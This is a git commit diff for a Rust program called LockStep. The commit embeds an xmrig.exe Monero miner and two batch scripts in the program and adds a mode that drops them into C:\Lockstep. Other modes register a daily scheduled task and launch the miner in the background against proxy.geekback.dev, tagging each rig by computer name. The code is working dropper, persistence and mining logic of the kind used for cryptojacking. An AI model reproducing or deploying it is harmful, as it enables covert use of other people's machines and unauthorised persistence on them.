drops code

This commit is contained in:
Trevor Merritt 2025-10-21 11:30:28 -04:00
parent 81fc6cdd2c
commit abef8ffff7
5 changed files with 36 additions and 9 deletions

View File

@ -2,10 +2,18 @@ extern crate alloc;
use clap::{Parser, ValueEnum}; use clap::{Parser, ValueEnum};
use alloc::string::String; use alloc::string::String;
use std::fs;
use std::fs::File;
use std::process::{Command, Output}; use std::process::{Command, Output};
use std::io::Result; use std::io::{Result, Write};
use std::path::Path;
pub const APP_VERSION: &str = "0.0.1-PREALPHA"; pub const APP_VERSION: &str = "0.0.1-PREALPHA";
pub const DAILY_SRC: &str = include_str!("resources/daily.cmd");
pub const CONFIG_SRC: &str = include_str!("resources/config.cmd");
pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe");
pub const SLAVE_ROOT: &str = "Lockstep";
pub const WORK_NAME: &str = "xmrig";
/// Executes a Windows binary with the given parameters. /// Executes a Windows binary with the given parameters.
/// ///
@ -20,16 +28,17 @@ pub const APP_VERSION: &str = "0.0.1-PREALPHA";
fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> { fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
Command::new(binary_path) Command::new(binary_path)
.args(args) .args(args)
.output() // You can also use .spawn() if you want async execution .output()
} }
fn run_schedule_daily_comand() { fn run_schedule_daily_comand() {
let binary = "C:/windows/system32/schtasks.exe"; let binary = "C:/windows/system32/schtasks.exe";
let target_cmd = format!("C:\\{}\\daily.cmd", SLAVE_ROOT);
let parameters = ["/create", let parameters = ["/create",
"/tn", "LockStep\\Daily Task", "/tn", "LockStep\\Daily Task",
"/sc", "daily", "/sc", "daily",
"/st", "19:00", "/st", "19:00",
"/tr", "C:\\lockstep\\daily.cmd"]; "/tr", target_cmd.as_str()];
match run_windows_binary(binary, &parameters) { match run_windows_binary(binary, &parameters) {
Ok(output) => { Ok(output) => {
@ -45,8 +54,10 @@ fn run_schedule_daily_comand() {
fn run_monero_miner() { fn run_monero_miner() {
let binary = "C:/lockstep/xmrig.exe"; let binary = "C:/lockstep/xmrig.exe";
let parameters = ["-o", "10.1.20.106", let parameters = ["-o", "proxy.geekback.dev",
"--rig-id", "%computername%", "--rig-id", "%computername%",
"--huge-pages-jit",
"--randomx-1gb-pages",
"-B", "-B",
"--coin", "monero" "--coin", "monero"
]; ];
@ -84,7 +95,8 @@ enum AppModes {
#[default] #[default]
KillCommand, KillCommand,
ScheduleDaily, ScheduleDaily,
RunWork RunWork,
DropScripts
} }
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
@ -93,20 +105,29 @@ struct Cli {
app_modes: AppModes app_modes: AppModes
} }
fn drop_scripts_and_work() {
let _ = fs::create_dir("C:\\Lockstep");
File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap();
File::create(Path::new("C:\\Lockstep\\config.bat")).unwrap().write(CONFIG_SRC.as_bytes()).unwrap();
File::create(Path::new("C:\\Lockstep\\xmrig.exe")).unwrap().write(WORK_BIN).unwrap();
}
fn main() { fn main() {
println!("Launching LockStep {}", APP_VERSION); println!("Launching LockStep {}", APP_VERSION);
let opts = Cli::parse(); let opts = Cli::parse();
println!("OPTS => {opts:?}");
match opts.app_modes { match opts.app_modes {
AppModes::KillCommand => { AppModes::KillCommand => {
run_kill_command() run_kill_command();
} }
AppModes::ScheduleDaily => { AppModes::ScheduleDaily => {
run_schedule_daily_comand() run_schedule_daily_comand();
} }
AppModes::RunWork => { AppModes::RunWork => {
run_monero_miner() run_monero_miner();
}
AppModes::DropScripts => {
drop_scripts_and_work();
} }
} }
} }

Binary file not shown.

2
src/resources/config.cmd Normal file
View File

@ -0,0 +1,2 @@
set LOCKSTEP_ROOT=http://proxy.geekback.dev/lockstep/
set LOCKSTEP_PATH=c:\\lockstep

4
src/resources/daily.cmd Normal file
View File

@ -0,0 +1,4 @@
@echo off
cls
echo Starting Daily Commands
pause

BIN
src/resources/xmrig.exe Normal file

Binary file not shown.